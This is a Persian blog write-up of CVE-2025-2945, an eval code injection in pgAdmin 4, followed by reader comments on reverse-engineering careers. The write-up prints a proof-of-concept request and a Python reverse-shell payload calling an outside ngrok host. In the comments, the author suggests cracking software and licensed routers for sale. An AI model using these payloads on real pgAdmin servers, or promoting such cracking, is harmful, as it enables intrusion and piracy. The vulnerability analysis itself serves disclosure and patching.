آسیب پذیری با شناسه ی CVE-2025-2945 در pgAdmin 4 گزارش و اصلاح شده که امکان اجرای کد دلخواه رو به مهاجم میده.
pgAdmin یک ابزار متنباز برای مدیریت دیتابیس PostgreSQL هستش که به کاربران اجازه میده تا جداول، کوئریها و تنظیمات دیتابیس رو از طریق یک رابط کاربری گرافیکی مدیریت کنن. نسخه های اولیه pgAdmin بصورت برنامه دسکتاپی بودن و با زبانهایی مثل ++C نوشته شده بودن.
pgAdmin 4 نسل جدید این ابزار است که از نسخههای قبلی کاملاً متمایزه. برخلاف نسخههای قبلی، pgAdmin 4 بصورت یک برنامه تحت وب طراحی شده. این یعنی با یک سرور محلی یا راه دور اجرا میشه و از طریق مرورگر وب قابل دسترس هستش.
pgAdmin 4 با استفاده از پایتون (برای بکاند) و جاوااسکریپت (برای فرانتاند) نوشته شده و میشه اونو بصورت مستقل روی دسکتاپ یا بصورت سرور در شبکه نصب کرد.
آسیب پذیری CVE-2025-2945 از نوع Code Injection هستش و امتیاز 10 و شدت بحرانی داره. برای اکسپلویت، یک کاربر احراز هویت شده باید بتونه یک درخواست POST به سرور pgAdmin ارسال کنه.
نسخه اصلاح شده 9.2 هستش و نسخه های قبل از این نسخه، تحت تاثیر این آسیب پذیری هستن.
آسیب پذیری روی نقاط پایانی زیر هستش:
1 2 |
/sqleditor/query_tool/download</int:trans_id> /cloud/deploy |
علت اصلی آسیب پذیری اینه که ورودی ها به درستی پاکسازی یا اعتبارسنجی نمیشن و به تابع eval
ارسال میشن. تابع eval
یک تابع در پایتون هستش که یک ورودی رو در قالب رشته میگیره و اونو اجرا میکنه.
کد مربوط به نقطه پایانی /sqleditor/query_tool/download/<int:trans_id> بصورت زیر هستش:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160 @blueprint.route( '/query_tool/download/<int:trans_id>', methods=["POST"], endpoint='query_tool_download' ) @pga_login_required def start_query_download_tool(trans_id): (status, error_msg, sync_conn, trans_obj, session_obj) = check_transaction_status(trans_id) if not status or sync_conn is None or trans_obj is None or \ session_obj is None: return internal_server_error( errormsg=TRANSACTION_STATUS_CHECK_FAILED ) data = request.values if request.values else request.get_json(silent=True) if data is None: return make_json_response( status=410, success=0, errormsg=gettext( "Could not find the required parameter (query)." ) ) try: sql = None query_commited = data.get('query_commited', False) # Iterate through CombinedMultiDict to find query. for key, value in data.items(): if key == 'query': sql = value if key == 'query_commited': query_commited = ( eval(value) if isinstance(value, str) else value # vuln code ) |
همونطور که در کد قابل مشاهده هستش، پارامتر query_committed
که از نوع رشته هستش، بصورت مستقیم در تابع eval قرار میگیره. بنابراین اگه مهاجم درخواست زیر رو ارسال کنه، میتونه کد دلخواه رو روی سرور اجرا کنه:
1 2 3 4 5 6 7 8 |
POST /sqleditor/query_tool/download/9907078 HTTP/1.1 Host: localhost:8088 Content-Type: application/json { "query": "SELECT 1;", "query_commited": "open('/tmp/pyozzi-poc', 'w')" } |
همونطور که مشاهده میکنید، مهاجم میتونه کد دلخواه پایتونی رو با درخواست POST اجرا کنه.
کد مربوط به نقطه پایانی /cloud/deploy رو در زیر مشاهده میکنید:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140 def _create_google_postgresql_instance(self, args): credentials = self._get_credentials(self._scopes) service = discovery.build('sqladmin', 'v1beta4', credentials=credentials) high_availability = \ 'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code db_password = self._database_password \ if self._database_password is not None else args.db_password ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip()) authorized_networks = self.get_authorized_network_list(ip) database_instance_body = { 'databaseVersion': args.db_version, 'instanceType': 'CLOUD_SQL_INSTANCE', 'project': args.project, 'name': args.name, 'region': args.region, 'gceZone': args.availability_zone, 'secondaryGceZone': args.secondary_availability_zone, "rootPassword": db_password, 'settings': { 'tier': args.instance_type, 'availabilityType': high_availability, 'dataDiskType': args.storage_type, 'dataDiskSizeGb': args.storage_size, 'ipConfiguration': { "authorizedNetworks": authorized_networks, 'ipv4Enabled': True }, } } |
در این نقطه پایانی هم پارامتر high_availability
به تابع eval ارسال میشه. مهاجم میتونه با ارسال کد زیر، یک Reverse Shell بگیره:
1 |
exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])') |
این Reverse Shell با امتیاز پروسس pgAdmin اجرا میشه. (مشاهده دمو در یوتیوب)
با توجه به ویژگی های آسیب پذیری، مهاجم میتونه کارهای زیر انجام بده:
- دسترسی و دستکاری داده های دیتابیس
- حرکت جانبی: مهاجم با دسترسی به سرور، میتونه شبکه داخلی رو برای یافتن و هک سایر سیستم ها اسکن کنه.
- مهاجم میتونه اطلاعات حساس مانند اعتبارنامه ها، فایلهای کانفیگ، API و … رو استخراج کنه.
- اگه پروسس pgAdmin با امتیاز بالا اجرا بشه، مهاجم میتونه با سایر آسیب پذیری ها، امتیاز خودش رو به ROOT افزایش بده.
- پرسیست (Persistence): مهاجم میتونه بکدور نصب کنه، scheduled task ایجاد کنه یا اسکریپتهای startup رو برای دسترسی طولانی مدت دستکاری کنه.
نکته ی جالب اینه که، py0zz1 که این باگ رو گزارش داده، گفته که وقتی آسیب پذیری رو پیدا کرده، متوجه نشده که چرا در این کد از تابع eval استفاده شده چون بدون اون هم میشد منطق کد رو پیاده سازی کرد.
آسیب پذیری 16 مارس گزارش شده و در 3 آوریل نسخه ی اصلاح شده، در اختیار عموم قرار گرفته.
اگه در موتور جستجوی FOFA دنبال pgAdmin 4 باشیم، حدود 42 هزار مورد رو میاره که سهم ایران 449 مورد هستش. (البته داده ها خام هستن و نسخه رو در نظر نگرفتیم.) (لیست موتورهای جستجو مختص امنیت سایبری)
سلام و عرض ادب خدمت شما خدا قوت بهتون من میخوام وارد دنیای مهندسی معکوس بشم باید از کجا شروع کنم به یاد گیری رودمپ این حوزه به چه شکل هست ممنون میشم یه توضیح بدید
سلام. مهندسی معکوس در کل فیلد بزرگی هستش و معمولا به تنهایی معنا نمیده و باید از قبل مشخص کنید که در چه فیلدی میخوایید مهندسی معکوس رو جلو ببرید. در کل مواردی که در همه فیلدها ضرورت داره:
1- حداقل درک از مفهوم برنامه نویسی
2- درک کدهای اسمبلی (دیس اسمبل) – سی (دیکامپایل)
3- آشنایی با اینترنالز پلتفرم (مثلا مفهوم مموری – پشته و … در ویندوز)
4- آشنایی با ابزارهای دیس اسمبلر (ida pro) و دیباگر (x64dbg-windbg)
قرار نیست همه ی اینارو دونه دونه یاد بگیرید، چون مثلا همون اسمبلی رو یاد میگیرید، مثلا پشته رو هم یاد میگیرید و با پشته در دیس اسمبلر و دیباگر هم کار میکنید. مطالب یجورایی هم پوشش میدن.
هوش مصنوعی هم که اومده خیلی چیزهارو ساده تر کرده. الان شما کد اسمبلی رو میدید و میگه چیکار میکنه. (برای شروع خوب کمک میکنه)
اگه علاقمند به آنالیز بدافزار دارید: در شماره ی اول نشریه onhexmag رودمپ پیشنهادی خانم hasherezade رو ارائه کردیم: https://onhexgroup.ir/onhexmag-issue-1/
اگه علاقمند به اکسپلویت دارید، پست “رودمپ یادگیری رایگان Binary Exploitation از دید DayZeroSec (نسخه 2024)” رو ببینید. https://onhexgroup.ir/roadmap-for-exploit-development-2024/
آقای حمید کشفی هم از نگاه خودشون یک مسیری رو معرفی کردن “آشنایی با مسیر ورود به دنیای امنیت سایبری” (تقسیم بندی هم کردن که میتونید قسمت مهندسی معکوس رو ببینید.) : https://www.youtube.com/watch?v=M6-ELr9FRNY
آقای میثم فیروزی هم یک رودمپ رو اینجا نشر دادن: https://memoryleaks.ir/how-to-become-a-hacker/#reverse-engineering
سلام مجدد رشته مهندسی معکوس iot به چه شکل هست این حوزه چطور هست ایا مثل بقیه حوزه های مهندسی معکوس ترند هست؟
معمولا برای مهندسی اینترنت اشیاء دو مسیر هستش:
1- اینکه شما در قالب یک تیم باشید، تیم متشکل از الکترونیک – مکانیک و نرم افزار باشه.
2- فقط حوزه ی نرم افزاری
اگه مسیر یک باشه که مثلا یک دستگاه رو میگیرید و 0 تا 100 ساختش رو میبرید جلو یا اینکه خودتون محصولات رو میسازید یا مشاوره میدید.
مسیر دو فقط شما روی نرم افزار کار میکنید که معمولا فریمور هستش.
این حوزه هم میتونید محصولات رو از 0 بسازید، میتونید محصولات رو دستکاری یا اصطاحا بومی سازی کنید. آسیب پذیری پیدا کنید. فارنزیکشون هم هستش.
من یه مدتی روی فارنزیک اینترنت اشیاء کار میکردم ولی خب کنسل شد و سوئیچ کردم روی کشف آسیب پذیری (البته خیلی وقته دیگه کار نمیکنم). تجربه ای که داشتم:
– کشف آسیب پذیری سخت نیست ولی پول کردنشون سخته. چون شرکتها معمولا برای دیوایسهای جدیدشون پول میدن و برای بقیه صرفا یک تالار افتخارات دارن که اسمتون اونجا درج میشه. البته رزومه میشه و میتونید برای استخدام اقدام کنید.
– معمولا هزینه بر هستش. چون کلا در اینترنت اشیاء شما باید به اون فریمور دسترسی پیدا کنید تا بتونید داخلش اسیب پذیری پیدا کنید. اون قسمت دسترسی به فریمور سخت شده. چون یا فریمور دستگاهها در دسترس نیست یا دسترسی به داخلشون سخت شده کلی باید تکنیک پیاده کنید یا هم که باید اون دستگاه رو تهیه کنید تا لایو روش کار کنید که درسرهای خودش داره.
– برای برخی حالتها هم معمولا نیاز به تجهیزات هستش که البته برخی شرکتها و دانشگاهها با هزینه ساعتی در اختیارتون قرار میدن که اغلب تهران هستن.
– معمولا چون مجموعه ای ارائه میشه، تخصص زیادی میخواد. مثلا یک محصول علاوه بر اینکه باید مثلا فریمورش رو بررسی کنید، معمولا یک برنامه موبایل یا دسکتاپ یا تحت وب برای مدیریت و … داره که اینا هم کاندیدای آنالیز هستن. (میشه برون سپاری هم کرد)
بازار کار داخل ایران نمیدونم چقدره ولی خب خیلی از دانش بنیانها الان مهندسی معکوس میکنن و محصولات رو اینجا می سازن.
ارزش داره یا نه؟ به نظر من آینده امنیت الان دست هوش مصنوعی – کلود – موبایل و iot هستش.
این iot هم استفاده گسترده ای داره از همین مودم و هاردها گرفته تا این یخچالهای هوشمند و ماشینها ازشون استفاده میشه. حوزه تیم قرمز، تیم آبی داره.
برای آموزش این شرکت https://www.attify.com/ هم یسری کتاب و دوره داره که پابلیک هم شده، هم یک توزیع لینوکسی مختص IOT داره که همه ی ابزارها داخلش هستش. (نصب برخیشون مکافات داره)
از بچه های ایران هم که در این حوزه استاد باشن، میتونید در توییتر با MehdiHacks تعامل داشته باشید راهنمایی میکنن. (البته خارجیها هم سوال بپرسید راهنمایی میکنن)
سلام و درود فراوان خدمت شما اول ممنونم ازتون وقت گذاشتید و جواب رو کامل دادید با توضیحات من راستیتش نمیدونم کدوم حوزه رو انتخاب کنم و همون رو پیش ببرم اگر براتون مقدر هست ممکن هست این سه تا حوزه ای که گفتید برای ورود کدوم بهتر و میشه یاد گرفت و وارد بازار کارش بشیم چون بین این سه گزینه نمیدونم کدمو انتخاب کنم ولی برام جالب بود از مهندسی معکوس نگفته بودید چرا دلیلش چی هست ؟
مهندسی معکوس معمولا به تنهایی معنا نداره. باید با چیزایی ترکیب بشه که معنا پیدا کنه مثلا آنالیز بدافزار نمونه ای از استفاده از مهندسی معکوس هستش.
الان بازار کار حوزه های امنیت کلود، هوش مصنوعی و موبایل و اینترنت اشیاء خوبه. یعنی تقاضا زیاده و شانس اینکه درامد داشته باشید هم زیاده.
– هوش مصنوعی که ترنده داره همه جا استفاده میشه.
– شما دور و برخودتون رو نگاه کنید، دیگه خانواده ها هزینه لپ تاپ و PC نمیدن مثله قبل، مگه اینکه نیاز داشته باشن. ولی برای موبایل هزینه میکنن. قبل تحریم گوگل آنالیتیکس، تقریبا 50درصد بازدید های سایت من، با موبایل بود.
– استفاده از وسایل هوشمند بخصوص در منازل هم زیاد شده از تبلیغات تلویزیون تا دور و برتون رو ببینید، قابل مشاهده هستش.
– کلود هم که برای شرکتها و سازمانها هم به لحاظ هزینه و هم امنیت بهینه هستش. مثلا قبلا مایکروسافت آفیس رو تولید میکرد، میزد روی DVD، براش لایسنس تولید میکرد و … . اون آفیس هم، بیرون کپی زده میشد و کرک میشد و اکسپلویت میشد و … . کلی هزینه داشت برای مایکروسافت. مایکروسافت، آفیس 365 معرفی کرد که روی کلود بود، هم راحت میتونست بفروشه، هم امنیتش رو تامین کنه، اگه آسیب پذیری هم داخلش پیدا میشد با اصلاحش، کل اکوسیستم رو یکجا اصلاح میکرد. علاوه بر این شرکتهای کوچیک هم از خدمات ابری استفاده میکنن. (حسابداری – crm و …)
در کل بازار کار اینا هم در داخل خوبه (البته بسته به شهری که زندگی میکنید و … هم داره) هم برای مهاجرت خوبه. معمولا چون نوپا هستن ایده و ابزار و محصول زیاد میشه تولید کرد. قطعا وقتی بازار کارش خوب باشه، بازار امنیتشون هم خوبه.
در کل برای انتخاب، باید علاقمندی و نیاز بازار کار و درآمد و اینکه اون مورد، آرزوهاتون رو برآورده میکنه رو در نظر بگیرید. شما اگه علاقمند به مکانیکی پیکان داشته باشید، میتونید این کار انجام بدید اما چون دیگه پیکان خیلی نداریم، قطعا درامدتون کمه و شاید آرزوهایی که دارید رو تامین نکنه (تا یه جایی زور داره). اما بزنید به کار مکانیکی پژو و پراید، با توجه به اینکه تعدادشون زیاده، درامد خوبی خواهید داشت و شاید آرزوهاتون رو بتونه تامین کنه. البته میشه مکانیک پیکان رو شغل دوم هم انجام داد.
اگه درامدزایی برای مهندسی معکوس رو در نظر بگیریم:
کرک: شما میتونی محصولات خارجی رو کرک کنی و بفروشی حالا سوای اینکه این کار بلک حساب میشه. الان سایتهای دانلود مختلف ایرانی هستن که قسمت استخدام دارن و میتونید اونجا پروژه بگیرید و کرک کنید. ولی با توجه به اینکه برنامه ها کم کم میرن سمت کلود و استفاده از هوش مصنوعی، شاید چند سال دیگه خیلی کاربردی نباشه. (البته ایران با این اقتصادش شاید سالها از نسخه های قدیمی استفاده کنه)
آسیب پذیری و اکسپلویت: بازار کارش خوبه با توجه به قیمت بالای آسیب پذیری ها و استفاده بیشتر 0dayها در حملات، ولی ورود بهش هر روز داره سختتر میشه.
آنالیز بدافزار: تنها فیلدی هستش که بازار کارش خوبه. من هم در ایران آگهی دیدم، هم خارج از کشور. برای اینم باید فعال باشید که دیده بشید.
بازتولید محصولات: این فیلد هم میتونه خوب باشه البته معمولا در کشورهایی مثله ایران که محصولات خارجی رو بومی کنید و بازتولید کنید. (مثلا من یادمه یک آگهی از عربستان هم دیدم)
اینکه مهندسی معکوس رو نیاوردم، چون مهندسی معکوس به تنهایی معنا نداره ولی میتونه متمرکزش کنید در همین حوزه ها. مثلا آنالیز بدافزارهای موبایلی. تقاضا هم براش زیاده.
البته اینا رو نگفتم که دلسرد بشید یا اینکه مهندسی معکوس آینده نداره و … . ولی من دوستانی دارم که قدیم مهندسی معکوس انجام میدادن الان رفتن سمت کلود و devops اینها، میگن خودمون رو جر میدادیم یک برنامه ای رو مهندسی معکوس کنیم الان خیلی ساده درآمد داریم یا مهاجرت کردن اونور در حوزه های برنامه نویسی فعالیت دارن. (کلا برنامه نویسهای خوبی از مهندسای معکوس بیرون میاد). خلاصه اینکه خوبی هم داره، بدی هم داره.
یک نکته ی کنکوری هم بگم، معمولا شغلهایی مثله امنیت کلود و هوش مصنوعی و … ، کارهایی هستن که شا باید برید جایی استخدام بشید اما شغلهایی مانند باگ بانتی، اکسپلویت و … نیاز به شرکت برای استخدام ندارن و میتونید داخل پلتفرمها آنلاین فعالیت کنید. برا همین اون موردی که انتخاب میکنید اینم در نظر بگیرید که شهر شما پشتیبانی میکنه، یا میتونه در آینده پشتیبانی کنه یا میتونید مهاجرت کنید مثلا به تهران یا خارج از کشور و … .
ایران شرایطش یجوریه که شما معمولا درامد دلاری داشته باشید معمولا زندگی حل میشه. برای همین نمیشه نسخه نهایی پیچید. ممکنه شما یک برنامه ای رو کرک کنید یا اکسپلویت کنید، مثلا 5هزار دلار بانتی بگیرید یا بفروشید که میشه 500,000,000 تومان و براتون خوب باشه. ولی باید صبور و علاقمند باشید. (زودپز نیست)
برای انتخاب بهتر، میتونید آگهی هارو بررسی کنید، هم داخل و هم خارج. هم اینکه از افراد این حوزه ها جویا بشید، دردسرهای شغلیشون، درامدشون و … . یسری دوره ها هم هستن فک کنم security+ یا CEH که اینا حوزه های مختلف امنیت رو یک نگاهی بهش میندازن، میتونید این دوره ها رو رایگان طی کنید و دیدتون به حوزه های مختلف امنیت باز بشه و ببینید به کدوم علاقمندید.
سلام ممنون از توضیحات شما
کاملا درسته منم باهاتون موافقم فقط راههای درآمد اینترنت اشیا به چه شکل هست از چه راههای میشه از این حوزه پول خوب دراورد ؟
اینترنت اشیاء + مهندسی معکوس (برای برخیشون نیاز به تیم دارید [الکترونیک+مکانیک+نرم افزار]، برای برخیشون تکی میتونید کار کنید اما یکمی زمان میبره چون متدهای مختلفی برای جلوگیری از مهندسی معکوس رو اجرا میکنن.)=
1- مهندسی معکوس با هدف تولید مجدد اون در کشور. مثلا پنل الکترونیکی یخچال LG رو مهندسی معکوس میکنید و میزنید به یخچالهای داخل کشور. حالا میتونید اینارو مهندسی معکوس کنید و بصورت طرح به شرکتهای مختلف ارائه بدید، خودتون تولید کنید و با یکی شراکت کنید. اغلب شرکتهای دانش بنیان در ایران محصولات خارجی رو مهندسی معکوس میکنن.
2- مهندسی معکوس با هدف بومی سازی. مثلا دستگاههایی که از خارج میاد رو مهندسی معکوس میکنید تا اونارو فارسی سازی کنید.
3- کشف آسیب پذیری. دستگاههای اینرنت اشیاء رو مهندسی معکوس میکنید تا داخلشون آسیب پذیری پیدا کنید. شرکتهایی مثله dlink برنامه ی باگ بانتی دارن. آسیب پذیری میتونه در برنامه موبایل، وب یا خود فریمور باشه. معمولا دستگاههایی که کاربر زیاد دارن و حساس هستن مثله NAS، پولشون خوبه. یسری چیزا مثله پروتکلهای ارتباطی که در دستگاههای مختلف استفاده میشن، پولشون خوبه.
4- ابزارهای آنالیز و … توسعه بدید. میتونید یسری ابزار برای فارنزیک یا مهندسی معکوس یا آنالیز امنیتی و … برای اونا توسعه بدید.
5- کرک دستگاهها. دستگاههایی که با لایسنس کار میکنن رو کرک میکنید و می فرشوید. مثلا روتر سیسکو.
و … .
چند تا ویدیو در یوتیوب یا مقاله بخونید، عیار دستتون میاد.
درسته بسیار عالی پس راهای درامد زایی این های چیزهای که گفتید هست یک دنیا ممنون که وقت گذاشتید و جواب سوال ها رو تک تک و با حوصله دادید ممنون میشم ازتون
سلامت باشید.